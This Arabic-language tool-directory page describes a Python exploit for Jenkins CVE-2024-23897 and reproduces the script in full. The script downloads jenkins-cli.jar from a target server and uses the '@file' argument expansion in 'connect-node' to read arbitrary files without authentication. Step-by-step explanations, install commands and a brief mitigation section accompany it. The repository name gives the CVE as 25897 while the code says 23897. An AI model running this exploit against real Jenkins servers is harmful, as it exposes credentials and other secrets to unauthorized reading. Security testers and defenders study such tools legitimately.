Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-25897 — أداة استغلال تثغّر Jenkins مكتوبة بلغة Python | Kitploit
أدوات/GitHubGitHub/i-100-user/cve-2024-25897
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

أداة استغلال تثغّر Jenkins مكتوبة بلغة Python

عرض المستودع
21منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

banner

img1

المعلمات ip , puerto , ruta

img2

مخرجات الاستغلال

img3

لوحة المساعدة

شرح الاستغلال

إليك شرح الكود بصيغة Markdown:

شرح الكود

تم تصميم هذا السكربت لاستغلال ثغرة أمنية محددة في Jenkins (CVE-2024-23897). يتيح تنزيل ملف JAR من خادم Jenkins وتنفيذ حمولة (payload) لتوصيل عقدة Jenkins. فيما يلي شرح لكل جزء من الكود:

استيراد الوحدات

root@kitploit:~
import argparse import requests import os import subprocess import sys
  • argparse: للتعامل مع وسائط سطر الأوامر.
  • requests: لإجراء طلبات HTTP.
  • os: للتفاعل مع نظام التشغيل.
  • subprocess: لتنفيذ أوامر النظام.
  • sys: للتفاعل مع مترجم بايثون.

الدالة banner

root@kitploit:~
def banner():
    """
    Imprime un banner decorativo para la herramienta.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

تقوم هذه الدالة بطباعة شعار (banner) تزييني في بداية السكربت.

الدالة descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.

    Returns:
        bool: True si la descarga fue exitosa, False en caso contrario.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
        return False

تقوم هذه الدالة بتنزيل الملف jenkins-cli.jar من خادم Jenkins المحدد عبر عنوان IP والمنفذ. إذا كان التنزيل ناجحًا، فتحفظ الملف في النظام وتُرجع True؛ وإلا، تُرجع False.

الدالة attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Ejecuta el payload para conectar un nodo Jenkins.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.
        ruta (str): Ruta para leer el archivo.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")

تنفّذ هذه الدالة أمرًا لتوصيل عقدة Jenkins باستخدام الملف jenkins-cli.jar. بعد تنفيذ الأمر، تقوم بحذف ملف JAR. إذا حدث خطأ في التنفيذ، تعرض رسالة خطأ.

الدالة main

root@kitploit:~
def main():
    """
    Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

الوظيفة الرئيسية للسكربت:

  1. تحلل وسائط سطر الأوامر (ip, puerto, ruta).
  2. تستدعي الدالة banner لطباعة الشعار.
  3. تستدعي الدالة descargar_jar لتنزيل ملف JAR.
  4. إذا كان التنزيل ناجحًا، تستدعي الدالة attack_payload لتنفيذ الـ payload؛ وإلا، تنهي السكربت برمز خروج 1.

تشغيل السكربت

root@kitploit:~
if __name__ == '__main__':
    main()

يضمن هذا الكتلة أن يتم تنفيذ الدالة main فقط إذا تم تشغيل السكربت مباشرة، وليس إذا تم استيراده كوحدة.

الملخص

هذا السكربت هو أداة لاستغلال ثغرة أمنية في Jenkins. يقوم بتنزيل ملف JAR من خادم Jenkins ويستخدم هذا الملف لتنفيذ حمولة (payload) تقوم بتوصيل عقدة Jenkins. يتم توفير الوسائط المطلوبة (ip, puerto, ruta) عبر سطر الأوامر.

إليك قائمة بالمكتبات المطلوبة مع أوامر pip install لكل منها:

المكتبات المطلوبة

  • argparse: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.

  • requests: لإجراء طلبات HTTP.

    root@kitploit:~
    pip install requests
    
  • os: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.

  • subprocess: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.

  • sys: هذه المكتبة مضمنة في المكتبة القياسية للغة بايثون، لذلك لا تحتاج إلى تثبيتها.

تثبيت المكتبات

root@kitploit:~
pip install requests

إن CVE-2024-23897 هو ثغرة أمنية موجودة في Jenkins، وهي أداة شهيرة للأتمتة وCI/CD. تؤثر هذه الثغرة على Jenkins في الإصدارات 2.441 وما قبلها، وكذلك على إصدارات LTS 2.426.2 وما قبلها.

وصف الثغرة:

  • الوظيفة المتأثرة: محلل أوامر CLI الخاص بـ Jenkins.
  • المشكلة: لا تقوم بتعطيل وظيفة تسمح باستبدال حرف '@' متبوعًا بمسار ملف في وسيط بمحتوى ذلك الملف.
  • التأثير: تسمح للمهاجمين غير المصادق عليهم بقراءة ملفات عشوائية في نظام ملفات وحدة التحكم Jenkins.
  • الخطر: يمكن للمهاجم الوصول إلى معلومات حساسة مخزنة على خادم Jenkins، مما قد يؤدي إلى اختراق النظام بشكل أعمق.

مثال على الاستغلال:

  1. يرسل المهاجم أمر CLI إلى Jenkins يتضمن @/ruta/del/archivo.
  2. يفسّر محلل أوامر Jenkins @/ruta/del/archivo ويستبدل هذا الوسيط بمحتوى الملف المحدد.
  3. يحصل المهاجم على محتوى الملف دون الحاجة إلى مصادقة.

إجراءات التخفيف:

  • تحديث Jenkins: تثبيت إصدارات أحدث قامت بإصلاح هذه الثغرة.
  • إعدادات الأمان: مراجعة وتقييد الوصول إلى CLI الخاص بـ Jenkins، والتأكد من أن المستخدمين المصادق عليهم والموثوقين فقط يمكنهم استخدام هذه الوظيفة.

يعد تحديث Jenkins وتكوينه بشكل صحيح أمرًا بالغ الأهمية لحماية النظام من هذه الثغرة.

Python أيقونة لينكس

تنزيل الأداة